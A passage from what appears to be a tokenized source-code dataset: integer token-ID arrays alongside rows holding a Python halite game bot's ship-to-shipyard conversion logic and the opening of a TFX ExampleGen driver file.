525,
22844,
29915,
13,
13,
1678,
503,
29918,
1195,
29889,
4397,
29898,
9302,
29889,
1195,
29898,
272,
2966,
29918,
20230,
29961,
29906,
12622,
13,
1678,
503,
29918,
3317,
29889,
4397,
29898,
9302,
29889,
3317,
29898,
272,
2966,
29918,
20230,
29961,
29906,
12622,
13,
1678,
503,
29918,
6897,
29918,
3317,
29889,
4397,
29898,
9302,
29889,
3317,
29898,
9302,
29889,
6897,
29898,
272,
2966,
29918,
20230,
29961,
29906,
29962,
4961,
13,
13,
1678,
365,
29918,
574,
29889,
4397,
29898,
9302,
29889,
3676,
29898,
9302,
29889,
2083,
29898,
272,
2966,
29889,
29931,
580,
1068,
29906,
4961,
13,
1678,
365,
29918,
574,
29918,
29920,
29889,
4397,
29898,
272,
2966,
29889,
29931,
580,
29961,
29900,
3816,
29906,
2314,
29871,
396,
365,
29918,
29920,
4163,
13,
1678,
10195,
29889,
4397,
29898,
272,
2966,
29889,
13308,
3101,
13,
1678,
325,
29916,
29918,
29894,
29920,
29889,
4397,
29898,
9302,
29889,
3676,
29898,
272,
2966,
29889,
29894,
29916,
580,
1068,
29906,
718,
16980,
29889,
29894,
29920,
580,
1068,
29906,
876,
13,
13,
13,
6739,
29918,
3881,
353,
518,
29900,
29892,
29871,
29929,
29962,
13,
29876,
29918,
29890,
1144,
353,
29871,
29955,
29900,
13,
13140,
29918,
29883,
3451,
353,
22004,
29918,
29879,
1839,
29883,
3451,
29918,
29883,
392,
2033,
1275,
5852,
13,
13140,
29918,
1372,
484,
353,
22004,
29918,
29879,
1839,
4801,
29918,
375,
786,
2033,
1275,
5852,
13,
29920,
29918,
3317,
353,
7442,
29889,
2378,
29898,
29920,
29918,
6897,
29918,
3317,
6802,
29896,
29872,
29941,
13,
13,
13140,
29918,
29894,
353,
503,
29918,
3317,
1405,
29871,
29945,
13,
13,
29916,
791,
29879,
353,
7442,
29889,
1915,
3493,
29898,
29900,
1696,
29871,
29941,
29941,
29900,
29892,
29871,
29945,
29900,
29900,
29900,
29900,
29897,
13,
29891,
791,
29879,
353,
7442,
29889,
3676,
29898,
29906,
29896,
29900,
1068,
29906,
448,
313,
29916,
791,
29879,
448,
29871,
29906,
29941,
29947,
1846,
1068,
29906,
29897,
13,
13,
29937,
6492,
1763,
290,
276,
13722,
322,
2791,
14645,
3580,
23794,
29875,
1078,
13,
572,
29873,
29889,
4532,
29898,
1003,
2311,
7607,
29955,
29892,
29945,
29889,
29945,
876,
13,
572,
29873,
29889,
1557,
2620,
29898,
9302,
29889,
2378,
29898,
13308,
9601,
30022,
13140,
29918,
29883,
3451,
1402,
7442,
29889,
2378,
29898,
29894,
29916,
29918,
29894,
29920,
9601,
30022,
13140,
29918,
29883,
3451,
1402,
274,
2433,
8517,
742,
301,
29893,
29922,
29900,
29892,
269,
29922,
29953,
29892,
3858,
2433,
1495,
13,
572,
29873,
29889,
1557,
2620,
29898,
9302,
29889,
2378,
29898,
13308,
9601,
13140,
29918,
29883,
3451,
1402,
7442,
29889,
2378,
29898,
29894,
29916,
29918,
29894,
29920,
9601,
13140,
29918,
29883,
3451,
1402,
274,
2433,
29907,
29941,
742,
301,
29893,
29922,
29900,
29892,
269,
29922,
29941,
29945,
29892,
3858,
2433,
4741,
3580,
21669,
742,
17456,
2433,
29930,
1495,
13,
572,
29873,
29889,
5317,
29898,
29916,
791,
29879,
29892,
343,
791,
29879,
29892,
3858,
2433,
742,
274,
2433,
29907,
29941,
742,
301,
29893,
29922,
29896,
29889,
29945,
29892,
15595,
29922,
29900,
29889,
29945,
29897,
13,
572,
29873,
29889,
29916,
2576,
6278,
29906,
29900,
29900,
29892,
29871,
29941,
29906,
29900,
29897,
13,
572,
29873,
29889,
29891,
2576,
29898,
29900,
29892,
29871,
29941,
29947,
29900,
29897,
13,
572,
29873,
29889,
29916,
1643,
29898,
29878,
29915,
29954,
284,
17911,
395,
29894,
648,
29891,
1042,
518,
8848,
269,
29938,
3426,
29896,
1042,
29962,
1495,
13,
572,
29873,
29889,
29891,
1643,
29898,
29878,
29915,
29954,
284,
17911,
779,
3676,
29912,
29894,
648,
29916,
2137,
29906,
718,
325,
648,
29920,
2137,
29906,
1042,
518,
8848,
269,
29938,
3426,
29896,
1042,
29962,
1495,
13,
572,
29873,
29889,
29873,
523,
29918,
2680,
580,
13,
572,
29873,
29889,
7720,
29898,
3137,
2433,
489,
742,
274,
2433,
8517,
742,
15595,
29922,
29900,
29889,
29906,
29897,
13,
572,
29873,
29889,
26172,
580,
13,
572,
29873,
29889,
7620,
1003,
877,
4287,
6718,
29918,
11831,
1169,
29918,
13308,
29918,
29894,
29916,
29894,
29920,
18717,
2146,
600,
861,
29974,
4286,
2732,
742,
270,
1631,
29922,
29941,
29900,
29900,
29897,
13,
29937,
14770,
29889,
4294,
580,
13,
572,
29873,
29889,
5358,
580,
13,
13,
29937,
6492,
6401,
19399,
322,
5256,
5156,
503,
3171,
310,
278,
10819,
13,
572,
29873,
29889,
4532,
29898,
1003,
2311,
7607,
29955,
29892,
29945,
29889,
29945,
876,
13,
572,
29873,
29889,
1557,
2620,
29898,
9302,
29889,
2378,
29898,
29931,
29918,
574,
29918,
29920,
29914,
29931,
29918,
574,
29918,
11445,
29961,
29900,
3816,
29906,
2314,
29961,
30022,
13140,
29918,
29883,
3451,
1402,
503,
29918,
3317,
29961,
30022,
13140,
29918,
29883,
3451,
1402,
274,
2433,
8517,
742,
301,
29893,
29922,
29900,
29892,
269,
29922,
29953,
29892,
3858,
2433,
1495,
13,
572,
29873,
29889,
1557,
2620,
29898,
9302,
29889,
2378,
29898,
29931,
29918,
574,
29918,
29920,
29914,
29931,
29918,
574,
29918,
11445,
29961,
29900,
3816,
29906,
2314,
29961,
13140,
29918,
29883,
3451,
1402,
503,
29918,
3317,
29961,
13140,
29918,
29883,
3451,
1402,
274,
2433,
29907,
29941,
742,
301,
29893,
29922,
29900,
29892,
269,
29922,
29941,
29945,
29892,
3858,
2433,
4741,
3580,
21669,
742,
17456,
2433,
29930,
1495,
13,
572,
29873,
29889,
1165,
29894,
1220,
29898,
29896,
29900,
29900,
29900,
6904,
29931,
29918,
574,
29918,
11445,
29961,
29900,
3816,
29906,
1402,
274,
2433,
29907,
29941,
742,
301,
29893,
29922,
29896,
29889,
29945,
29892,
15595,
29922,
29900,
29889,
29945,
29892,
3858,
2433,
742,
19375,
2433,
489,
1495,
13,
572,
29873,
29889,
29916,
2576,
6278,
29900,
29889,
29947,
29892,
29871,
29896,
29889,
29945,
29897,
13,
572,
29873,
29889,
29891,
2576,
29898,
29900,
29892,
29871,
29896,
29900,
29897,
13,
572,
29873,
29889,
29916,
1643,
29898,
29878,
29915,
19077,
3368,
6401,
19399,
395,
29931,
648,
29920,
1042,
13346,
29931,
648,
29920,
29905,
25475,
1042,
1495,
13,
572,
29873,
29889,
29891,
1643,
29898,
29878,
29915,
7976,
3039,
5208,
17911,
503,
3171,
518,
29895,
6739,
29962,
1495,
13,
572,
29873,
29889,
26172,
580,
13,
572,
29873,
29889,
29873,
523,
29918,
2680,
580,
13,
572,
29873,
29889,
7720,
29898,
3137,
2433,
489,
742,
274,
2433,
8517,
742,
15595,
29922,
29900,
29889,
29906,
29897,
13,
572,
29873,
29889,
7620,
1003,
877,
4287,
6718,
29918,
11831,
1169,
29918,
29920,
3317,
29918,
29880,
3749,
555,
18717,
2146,
600,
861,
29974,
4286,
2732,
742,
270,
1631,
29922,
29941,
29900,
29900,
29897,
13,
29937,
14770,
29889,
4294,
580,
13,
572,
29873,
29889,
5358,
580,
13,
13,
29937,
6492,
4978,
5256,
5156,
3171,
29879,
13,
1003,
29892,
4853,
353,
14770,
29889,
1491,
26762,
29898,
29906,
29892,
29871,
29896,
29892,
1003,
2311,
7607,
29955,
29892,
29945,
511,
6232,
29916,
29922,
5574,
29897,
13,
1165,
29961,
29900,
1822,
29882,
391,
29898,
29920,
29918,
3317,
29892,
3464,
29922,
6739,
29918,
3881,
29892,
289,
1144,
29922,
29876,
29918,
29890,
1144,
29892,
15595,
29922,
29900,
29889,
29941,
29892,
2927,
2433,
8517,
742,
3858,
2433,
17813,
731,
1495,
13,
1165,
29961,
29900,
1822,
29882,
391,
29898,
29920,
29918,
3317,
29892,
3464,
29922,
6739,
29918,
3881,
29892,
289,
1144,
29922,
29876,
29918,
29890,
1144,
29892,
15595,
29922,
29896,
1696,
2927,
2433,
8517,
742,
3858,
2433,
742,
9825,
1853,
2433,
10568,
1495,
13,
1165,
29961,
29900,
1822,
26172,
580,
13,
1165,
29961,
29900,
1822,
7720,
29898,
3137,
2433,
489,
742,
15595,
29922,
29900,
29889,
29906,
29892,
2927,
2433,
8517,
1495,
13,
1165,
29961,
29896,
1822,
29882,
391,
29898,
29920,
29918,
3317,
29961,
13140,
29918,
29883,
3451,
1402,
3464,
29922,
6739,
29918,
3881,
29892,
289,
1144,
29922,
29876,
29918,
29890,
1144,
29892,
15595,
29922,
29900,
29889,
29941,
29892,
2927,
2433,
29907,
29941,
742,
3858,
2433,
4741,
3580,
21669,
1495,
13,
1165,
29961,
29896,
1822,
29882,
391,
29898,
29920,
29918,
3317,
29961,
13140,
29918,
29883,
3451,
1402,
3464,
29922,
6739,
29918,
3881,
29892,
289,
1144,
29922,
29876,
29918,
29890,
1144,
29892,
15595,
29922,
29896,
1696,
2927,
2433,
29907,
29941,
742,
9825,
1853,
2433,
10568,
742,
3858,
2433,
1495,
13,
1165,
29961,
29896,
1822,
26172,
580,
13,
1165,
29961,
29896,
1822,
7720,
29898,
3137,
2433,
489,
742,
15595,
29922,
29900,
29889,
29906,
29892,
2927,
2433,
8517,
1495,
13,
1165,
29961,
29896,
1822,
842,
29898,
29916,
2576,
29922,
6739,
29918,
3881,
29892,
343,
2576,
7607,
29900,
29892,
29946,
29889,
29941,
29945,
511,
921,
1643,
2433,
7976,
3039,
5208,
17911,
503,
3171,
518,
29895,
6739,
29962,
1495,
6552,
343,
1643,
2433,
4557,
310,
10819,
1495,
13,
1003,
29889,
726,
29898,
29900,
29889,
29900,
29896,
29892,
29871,
29900,
29889,
29945,
29892,
525,
1678,
9681,
310,
3618,
742,
2947,
2433,
5064,
742,
13733,
2433,
18575,
1495,
13,
572,
29873,
29889,
1491,
26762,
29918,
328,
5143,
29898,
14158,
29922,
29900,
1696,
281,
3493,
29922,
29900,
1696,
2175,
29922,
29900,
29889,
29896,
29900,
29892,
2246,
29922,
29900,
29889,
29929,
29955,
29892,
5970,
29922,
29900,
29889,
29896,
29896,
29892,
1492,
29922,
29900,
29889,
29929,
29947,
29897,
13,
572,
29873,
29889,
7620,
1003,
877,
4287,
6718,
29918,
11831,
1169,
29918,
29920,
3317,
29918,
497,
18717,
2146,
600,
861,
29974,
4286,
2732,
742,
270,
1631,
29922,
29941,
29900,
29900,
29897,
13,
29937,
14770,
29889,
4294,
580,
13,
572,
29873,
29889,
5358,
580,
13,
13,
2158,
525,
29958,
29871,
29945,
6739,
29901,
742,
7442,
29889,
13707,
12676,
29898,
4287,
6718,
29918,
29879,
1839,
1725,
29882,
2033,
29961,
29920,
29918,
3317,
1405,
29871,
29945,
2314,
13,
2158,
12801,
29871,
29945,
6739,
29901,
742,
7442,
29889,
13707,
12676,
29898,
4287,
6718,
29918,
29879,
1839,
1725,
29882,
2033,
29961,
29920,
29918,
3317,
529,
29871,
29945,
2314,
13,
2
] |
src/convert.py | soosten/halite-bot | 8 | 95353 | <filename>src/convert.py<gh_stars>1-10
import numpy as np
from settings import (YARD_SCHEDULE, YARD_MAX_STEP, MIN_OPP_YARD_DIST,
MIN_YARD_DIST, SUPPORT_DIST, STEPS_INITIAL)
def convert(state, actions):
# if we don't have any yards, we try to convert the ship
# with the most cargo immediately
if len(state.my_yards) == 0:
ship = max(actions.ships, key=lambda ship: state.my_ships[ship][1])
if legal(ship, state):
actions.decided[ship] = "CONVERT"
state.update(ship, "CONVERT")
actions.ships.remove(ship)
return
# otherwise, we convert a ship if we have too few yards for our ships
# and it is not too late in the game, provided we have ships
yards = working_yards(state)
yards_wanted = sum([x <= state.my_ship_pos.size for x in YARD_SCHEDULE])
should_convert = (yards.size < yards_wanted)
should_convert = should_convert and (state.step < YARD_MAX_STEP)
should_convert = should_convert and (len(actions.ships) > 0)
if not should_convert:
return
# restrict positions to have at least 2 supporting yard nearby
supports = np.sum(state.dist[yards, :] <= SUPPORT_DIST, axis=0, initial=0)
triangles = (supports >= min(yards.size, 2))
# restrict positions to have minimum distance to friendly yards
closest = np.amin(state.dist[yards, :], axis=0, initial=state.map_size)
triangles &= (closest >= MIN_YARD_DIST)
# restrict positions to have minimum distance to opponent yards
opp_yard_dist = np.amin(state.dist[state.opp_yard_pos, :], axis=0,
initial=state.map_size)
triangles &= (opp_yard_dist >= MIN_OPP_YARD_DIST)
# restrict positions to be further than one step from opponent ships
opp_ship_dist = np.amin(state.dist[state.opp_ship_pos, :], axis=0,
initial=state.map_size)
triangles &= (opp_ship_dist >= 2)
# see which ships satisfy these constraints
convertable = state.my_ship_pos[triangles[state.my_ship_pos]]
if convertable.size == 0:
return
# find the ship with the most halite cells around it
halite = np.flatnonzero(state.halite_map > 0)
hood = state.dist[np.ix_(halite, convertable)] <= 6
cells = np.sum(hood, axis=0, initial=0)
ship_pos = convertable[cells.argmax()]
# and convert this ship if this is legal
pos_to_ship = {state.my_ships[ship][0]: ship for ship in actions.ships}
ship = pos_to_ship.get(ship_pos, None)
if (ship is not None) and legal(ship, state):
actions.decided[ship] = "CONVERT"
state.update(ship, "CONVERT")
actions.ships.remove(ship)
return
# returns True if CONVERT is a legal action for ship - need to have enough
# halite and not be on another yard. if you only have one ship, you can
# only convert if you still have enough halite to spawn a ship afterwards
def legal(ship, state):
pos, hal = state.my_ships[ship]
minhal = state.convert_cost - hal
if len(state.my_ships) == 1:
minhal += state.spawn_cost
return (state.my_halite >= minhal) and (pos not in state.my_yard_pos)
# returns yards that are usable. a yard is not usable if there is
# an opponent yard with distance 2
def working_yards(state):
if state.step > STEPS_INITIAL:
inds = np.ix_(state.opp_yard_pos, state.my_yard_pos)
dists = np.amin(state.dist[inds], axis=0, initial=state.map_size)
return state.my_yard_pos[dists > 2]
else:
return state.my_yard_pos
| [
1,
529,
9507,
29958,
4351,
29914,
13441,
29889,
2272,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
5215,
12655,
408,
7442,
13,
13,
3166,
6055,
1053,
313,
29979,
17011,
29918,
29903,
3210,
3352,
29965,
1307,
29892,
612,
17011,
29918,
12648,
29918,
1254,
15488,
29892,
341,
1177,
29918,
4590,
29925,
29918,
29979,
17011,
29918,
4571,
1254,
29892,
13,
462,
418,
341,
1177,
29918,
29979,
17011,
29918,
4571,
1254,
29892,
317,
4897,
15082,
29918,
4571,
1254,
29892,
317,
4330,
7024,
29918,
26019,
25758,
29897,
13,
13,
13,
1753,
3588,
29898,
3859,
29892,
8820,
1125,
13,
1678,
396,
565,
591,
1016,
29915,
29873,
505,
738,
17454,
29892,
591,
1018,
304,
3588,
278,
7751,
13,
1678,
396,
411,
278,
1556,
17040,
7389,
13,
1678,
565,
7431,
29898,
3859,
29889,
1357,
29918,
29891,
3163,
29897,
1275,
29871,
29900,
29901,
13,
4706,
7751,
353,
4236,
29898,
7387,
29889,
9981,
29892,
1820,
29922,
2892,
7751,
29901,
2106,
29889,
1357,
29918,
9981,
29961,
3527,
3816,
29896,
2314,
13,
13,
4706,
565,
11706,
29898,
3527,
29892,
2106,
1125,
13,
9651,
8820,
29889,
7099,
2618,
29961,
3527,
29962,
353,
376,
6007,
5348,
29911,
29908,
13,
9651,
2106,
29889,
5504,
29898,
3527,
29892,
376,
6007,
5348,
29911,
1159,
13,
9651,
8820,
29889,
9981,
29889,
5992,
29898,
3527,
29897,
13,
13,
4706,
736,
13,
13,
1678,
396,
6467,
29892,
591,
3588,
263,
7751,
565,
591,
505,
2086,
2846,
17454,
363,
1749,
13968,
13,
1678,
396,
322,
372,
338,
451,
2086,
5683,
297,
278,
3748,
29892,
4944,
591,
505,
13968,
13,
1678,
17454,
353,
1985,
29918,
29891,
3163,
29898,
3859,
29897,
13,
1678,
17454,
29918,
29893,
9714,
353,
2533,
4197,
29916,
5277,
2106,
29889,
1357,
29918,
3527,
29918,
1066,
29889,
2311,
363,
921,
297,
612,
17011,
29918,
29903,
3210,
3352,
29965,
1307,
2314,
13,
1678,
881,
29918,
13441,
353,
313,
29891,
3163,
29889,
2311,
529,
17454,
29918,
29893,
9714,
29897,
13,
1678,
881,
29918,
13441,
353,
881,
29918,
13441,
322,
313,
3859,
29889,
10568,
529,
612,
17011,
29918,
12648,
29918,
1254,
15488,
29897,
13,
1678,
881,
29918,
13441,
353,
881,
29918,
13441,
322,
313,
2435,
29898,
7387,
29889,
9981,
29897,
1405,
29871,
29900,
29897,
13,
13,
1678,
565,
451,
881,
29918,
13441,
29901,
13,
4706,
736,
13,
13,
1678,
396,
9250,
11909,
304,
505,
472,
3203,
29871,
29906,
20382,
29413,
20810,
13,
1678,
11286,
353,
7442,
29889,
2083,
29898,
3859,
29889,
5721,
29961,
29891,
3163,
29892,
584,
29962,
5277,
317,
4897,
15082,
29918,
4571,
1254,
29892,
9685,
29922,
29900,
29892,
2847,
29922,
29900,
29897,
13,
1678,
3367,
19536,
353,
313,
5924,
29879,
6736,
1375,
29898,
29891,
3163,
29889,
2311,
29892,
29871,
29906,
876,
13,
13,
1678,
396,
9250,
11909,
304,
505,
9212,
5418,
304,
19780,
17454,
13,
1678,
21438,
353,
7442,
29889,
9103,
29898,
3859,
29889,
5721,
29961,
29891,
3163,
29892,
584,
1402,
9685,
29922,
29900,
29892,
2847,
29922,
3859,
29889,
1958,
29918,
2311,
29897,
13,
1678,
3367,
19536,
7878,
313,
11291,
342,
6736,
341,
1177,
29918,
29979,
17011,
29918,
4571,
1254,
29897,
13,
13,
1678,
396,
9250,
11909,
304,
505,
9212,
5418,
304,
23995,
296,
17454,
13,
1678,
4575,
29918,
19852,
29918,
5721,
353,
7442,
29889,
9103,
29898,
3859,
29889,
5721,
29961,
3859,
29889,
9354,
29918,
19852,
29918,
1066,
29892,
584,
1402,
9685,
29922,
29900,
29892,
13,
462,
9651,
2847,
29922,
3859,
29889,
1958,
29918,
2311,
29897,
13,
1678,
3367,
19536,
7878,
313,
9354,
29918,
19852,
29918,
5721,
6736,
341,
1177,
29918,
4590,
29925,
29918,
29979,
17011,
29918,
4571,
1254,
29897,
13,
13,
1678,
396,
9250,
11909,
304,
367,
4340,
1135,
697,
4331,
515,
23995,
296,
13968,
13,
1678,
4575,
29918,
3527,
29918,
5721,
353,
7442,
29889,
9103,
29898,
3859,
29889,
5721,
29961,
3859,
29889,
9354,
29918,
3527,
29918,
1066,
29892,
584,
1402,
9685,
29922,
29900,
29892,
13,
462,
9651,
2847,
29922,
3859,
29889,
1958,
29918,
2311,
29897,
13,
1678,
3367,
19536,
7878,
313,
9354,
29918,
3527,
29918,
5721,
6736,
29871,
29906,
29897,
13,
13,
1678,
396,
1074,
607,
13968,
15523,
1438,
11938,
13,
1678,
3588,
519,
353,
2106,
29889,
1357,
29918,
3527,
29918,
1066,
29961,
3626,
19536,
29961,
3859,
29889,
1357,
29918,
3527,
29918,
1066,
5262,
13,
13,
1678,
565,
3588,
519,
29889,
2311,
1275,
29871,
29900,
29901,
13,
4706,
736,
13,
13,
1678,
396,
1284,
278,
7751,
411,
278,
1556,
8870,
568,
9101,
2820,
372,
13,
1678,
8870,
568,
353,
7442,
29889,
20620,
5464,
9171,
29898,
3859,
29889,
4077,
568,
29918,
1958,
1405,
29871,
29900,
29897,
13,
1678,
298,
2092,
353,
2106,
29889,
5721,
29961,
9302,
29889,
861,
23538,
4077,
568,
29892,
3588,
519,
4638,
5277,
29871,
29953,
13,
1678,
9101,
353,
7442,
29889,
2083,
29898,
6614,
29892,
9685,
29922,
29900,
29892,
2847,
29922,
29900,
29897,
13,
1678,
7751,
29918,
1066,
353,
3588,
519,
29961,
3729,
29879,
29889,
1191,
3317,
580,
29962,
13,
13,
1678,
396,
322,
3588,
445,
7751,
565,
445,
338,
11706,
13,
1678,
926,
29918,
517,
29918,
3527,
353,
426,
3859,
29889,
1357,
29918,
9981,
29961,
3527,
3816,
29900,
5387,
7751,
363,
7751,
297,
8820,
29889,
9981,
29913,
13,
1678,
7751,
353,
926,
29918,
517,
29918,
3527,
29889,
657,
29898,
3527,
29918,
1066,
29892,
6213,
29897,
13,
13,
1678,
565,
313,
3527,
338,
451,
6213,
29897,
322,
11706,
29898,
3527,
29892,
2106,
1125,
13,
4706,
8820,
29889,
7099,
2618,
29961,
3527,
29962,
353,
376,
6007,
5348,
29911,
29908,
13,
4706,
2106,
29889,
5504,
29898,
3527,
29892,
376,
6007,
5348,
29911,
1159,
13,
4706,
8820,
29889,
9981,
29889,
5992,
29898,
3527,
29897,
13,
13,
1678,
736,
13,
13,
13,
29937,
3639,
5852,
565,
8707,
5348,
29911,
338,
263,
11706,
3158,
363,
7751,
448,
817,
304,
505,
3307,
13,
29937,
8870,
568,
322,
451,
367,
373,
1790,
29413,
29889,
565,
366,
871,
505,
697,
7751,
29892,
366,
508,
13,
29937,
871,
3588,
565,
366,
1603,
505,
3307,
8870,
568,
304,
29178,
263,
7751,
12335,
13,
1753,
11706,
29898,
3527,
29892,
2106,
1125,
13,
1678,
926,
29892,
8870,
353,
2106,
29889,
1357,
29918,
9981,
29961,
3527,
29962,
13,
1678,
1375,
4077,
353,
2106,
29889,
13441,
29918,
18253,
448,
8870,
13,
1678,
565,
7431,
29898,
3859,
29889,
1357,
29918,
9981,
29897,
1275,
29871,
29896,
29901,
13,
4706,
1375,
4077,
4619,
2106,
29889,
1028,
18101,
29918,
18253,
13,
1678,
736,
313,
3859,
29889,
1357,
29918,
4077,
568,
6736,
1375,
4077,
29897,
322,
313,
1066,
451,
297,
2106,
29889,
1357,
29918,
19852,
29918,
1066,
29897,
13,
13,
13,
29937,
3639,
17454,
393,
526,
502,
519,
29889,
263,
29413,
338,
451,
502,
519,
565,
727,
338,
13,
29937,
385,
23995,
296,
29413,
411,
5418,
29871,
29906,
13,
1753,
1985,
29918,
29891,
3163,
29898,
3859,
1125,
13,
1678,
565,
2106,
29889,
10568,
1405,
317,
4330,
7024,
29918,
26019,
25758,
29901,
13,
4706,
1399,
29879,
353,
7442,
29889,
861,
23538,
3859,
29889,
9354,
29918,
19852,
29918,
1066,
29892,
2106,
29889,
1357,
29918,
19852,
29918,
1066,
29897,
13,
4706,
1320,
29879,
353,
7442,
29889,
9103,
29898,
3859,
29889,
5721,
29961,
12772,
1402,
9685,
29922,
29900,
29892,
2847,
29922,
3859,
29889,
1958,
29918,
2311,
29897,
13,
4706,
736,
2106,
29889,
1357,
29918,
19852,
29918,
1066,
29961,
29881,
2879,
1405,
29871,
29906,
29962,
13,
1678,
1683,
29901,
13,
4706,
736,
2106,
29889,
1357,
29918,
19852,
29918,
1066,
13,
2
] |
tfx/components/example_gen/driver.py | epona-science/tfx | 0 | 83065 | # Lint as: python2, python3
# Copyright 2019 Google LLC. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Generic TFX ExampleGen custom driver."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import copy
import os
from typing import Any, Dict, List, Optional, Text
from absl import logging
from tfx import types
from tfx.components.example_gen import utils
from tfx.dsl.components.base import base_driver
from tfx.orchestration import data_types
from tfx.orchestration import metadata
from tfx.orchestration.portable import base_driver as ir_base_driver
from tfx.orchestration.portable.mlmd import common_utils
from tfx.proto import example_gen_pb2
from tfx.proto.orchestration import driver_output_pb2
from tfx.proto.orchestration import pipeline_pb2
from google.protobuf import json_format
from ml_metadata.proto import metadata_store_pb2
def _update_output_artifact(
exec_properties: Dict[Text, Any],
output_artifact: metadata_store_pb2.Artifact) -> None:
"""Updates output_artifact by updating existring entries or creating new entries if not already exists."""
output_artifact.custom_properties[
utils.FINGERPRINT_PROPERTY_NAME].string_value = (
exec_properties[utils.FINGERPRINT_PROPERTY_NAME])
output_artifact.custom_properties[
utils.SPAN_PROPERTY_NAME].string_value = str(
exec_properties[utils.SPAN_PROPERTY_NAME])
# TODO(b/162622803): add default behavior for when version spec not present.
if exec_properties[utils.VERSION_PROPERTY_NAME]:
output_artifact.custom_properties[
utils.VERSION_PROPERTY_NAME].string_value = str(
exec_properties[utils.VERSION_PROPERTY_NAME])
class Driver(base_driver.BaseDriver, ir_base_driver.BaseDriver):
"""Custom driver for ExampleGen.
This driver supports file based ExampleGen, e.g., for CsvExampleGen and
ImportExampleGen.
"""
def __init__(self,
metadata_handler: metadata.Metadata,
pipeline_info: Optional[pipeline_pb2.PipelineInfo] = None,
pipeline_node: Optional[pipeline_pb2.PipelineNode] = None):
base_driver.BaseDriver.__init__(self, metadata_handler)
ir_base_driver.BaseDriver.__init__(self, metadata_handler, pipeline_info,
pipeline_node)
def resolve_exec_properties(
self,
exec_properties: Dict[Text, Any],
pipeline_info: data_types.PipelineInfo,
component_info: data_types.ComponentInfo,
) -> Dict[Text, Any]:
"""Overrides BaseDriver.resolve_exec_properties()."""
del pipeline_info, component_info
input_config = example_gen_pb2.Input()
json_format.Parse(exec_properties[utils.INPUT_CONFIG_KEY], input_config)
input_base = exec_properties[utils.INPUT_BASE_KEY]
logging.debug('Processing input %s.', input_base)
# Note that this function updates the input_config.splits.pattern.
fingerprint, span, version = utils.calculate_splits_fingerprint_span_and_version(
input_base, input_config.splits)
exec_properties[utils.INPUT_CONFIG_KEY] = json_format.MessageToJson(
input_config, sort_keys=True, preserving_proto_field_name=True)
exec_properties[utils.SPAN_PROPERTY_NAME] = span
exec_properties[utils.VERSION_PROPERTY_NAME] = version
exec_properties[utils.FINGERPRINT_PROPERTY_NAME] = fingerprint
return exec_properties
def _prepare_output_artifacts(
self,
input_artifacts: Dict[Text, List[types.Artifact]],
output_dict: Dict[Text, types.Channel],
exec_properties: Dict[Text, Any],
execution_id: int,
pipeline_info: data_types.PipelineInfo,
component_info: data_types.ComponentInfo,
) -> Dict[Text, List[types.Artifact]]:
"""Overrides BaseDriver._prepare_output_artifacts()."""
del input_artifacts
example_artifact = output_dict[utils.EXAMPLES_KEY].type()
base_output_dir = os.path.join(pipeline_info.pipeline_root,
component_info.component_id)
example_artifact.uri = base_driver._generate_output_uri( # pylint: disable=protected-access
base_output_dir, utils.EXAMPLES_KEY, execution_id)
_update_output_artifact(
exec_properties,
example_artifact.mlmd_artifact)
base_driver._prepare_output_paths(example_artifact) # pylint: disable=protected-access
return {utils.EXAMPLES_KEY: [example_artifact]}
def run(self, input_dict: Dict[Text, List[types.Artifact]],
output_dict: Dict[Text, List[types.Artifact]],
exec_properties: Dict[Text, Any]) -> driver_output_pb2.DriverOutput:
# Populate exec_properties
result = driver_output_pb2.DriverOutput()
# PipelineInfo and ComponentInfo are not actually used, two fake one are
# created just to be compatable with the old API.
pipeline_info = data_types.PipelineInfo('', '')
component_info = data_types.ComponentInfo('', '', pipeline_info)
exec_properties = self.resolve_exec_properties(
exec_properties, pipeline_info, component_info)
for k, v in exec_properties.items():
common_utils.set_metadata_value(result.exec_properties[k], v)
# Populate output_dict
output_example = copy.deepcopy(
output_dict[utils.EXAMPLES_KEY][0].mlmd_artifact)
_update_output_artifact(exec_properties, output_example)
result.output_artifacts[utils.EXAMPLES_KEY].artifacts.append(output_example)
return result
| [
1,
396,
365,
524,
408,
29901,
3017,
29906,
29892,
3017,
29941,
13,
29937,
14187,
1266,
29871,
29906,
29900,
29896,
29929,
5087,
365,
12182,
29889,
2178,
26863,
2538,
9841,
29889,
13,
29937,
13,
29937,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
13,
29937,
366,
1122,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
13,
29937,
887,
1122,
4017,
263,
3509,
310,
278,
19245,
472,
13,
29937,
13,
29937,
268,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
29937,
13,
29937,
25870,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
29937,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
13,
29937,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
13,
29937,
2823,
278,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
13,
29937,
27028,
1090,
278,
19245,
29889,
13,
15945,
29908,
15809,
323,
26753,
8741,
15462,
2888,
7156,
1213,
15945,
13,
13,
3166,
4770,
29888,
9130,
1649,
1053,
8380,
29918,
5215,
13,
3166,
4770,
29888,
9130,
1649,
1053,
8542,
13,
3166,
4770,
29888,
9130,
1649,
1053,
1596,
29918,
2220,
13,
13,
5215,
3509,
13,
5215,
2897,
13,
3166,
19229,
1053,
3139,
29892,
360,
919,
29892,
2391,
29892,
28379,
29892,
3992,
13,
13,
3166,
633,
2536,
1053,
12183,
13,
3166,
260,
11093,
1053,
4072,
13,
3166,
260,
11093,
29889,
14036,
29889,
4773,
29918,
1885,
1053,
3667,
